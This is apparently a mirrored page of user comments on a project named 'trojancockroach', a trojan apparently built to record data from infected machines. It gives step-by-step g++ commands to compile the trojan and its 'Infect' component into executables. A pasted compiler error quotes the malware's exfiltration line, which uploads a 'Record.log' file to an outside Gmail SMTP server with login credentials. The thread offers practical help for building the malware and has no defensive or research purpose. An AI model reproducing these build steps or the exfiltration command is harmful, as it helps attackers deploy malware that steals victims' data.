Git Product home page Git Product logo

Comments (3)

 avatar commented on July 18, 2024 3

You have to compile the code with a C++ compiler.
I'm using the TDM-GCC MinGW compiler which you can download from this link: https://sourceforge.net/projects/tdm-gcc/

Once you download and install the compiler, you need to open the cmd, navigate to the folder containing the .cpp files using the "cd" command, and then execute these commands:

g++ -o NewFileName TrojanCockroach.cpp
g++ -o NewFileName Infect.cpp

Change "NewFileName" to w/e you want to name each exe file.

The exe files will appear in the same folder.

from trojancockroach.

4raider avatar 4raider commented on July 18, 2024

Following te instruction to build the exe file wasn't successful with this error. Any tips on what should be done

'int main()': 72:5: error: return-statement with no value, in function returning 'int' [-fpermissive] 72 | return; | ^~~~~~ : In function 'void sendData()': 141:21: warning: ISO C++ forbids converting a string constant to 'char*' [-Wwrite-strings] 141 | char* command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from "@gmail.com" --mail-rcpt "@gmail.com" --ssl -u @gmail.com:pass -T "Record.log" -k --anyauth"; | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In function 'char* getRandomName()': 311:12: warning: address of local variable 'randomName' returned [-Wreturn-local-addr] 311 | return randomName; | ^~~~~~~~~~ 272:10: note: declared here 272 | char randomName[40]; | ^~~~~~~~~~ PS C:\Users> g++ -o cast Infect.cpp Infect.cpp: In function 'int main()': Infect.cpp:30:9: error: return-statement with no value, in function returning 'int' [-fpermissive] 30 | return;

from trojancockroach.

Raymondikemu avatar Raymondikemu commented on July 18, 2024

how do i set up my “gcc gcctest. c -o gcctest”

from trojancockroach.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.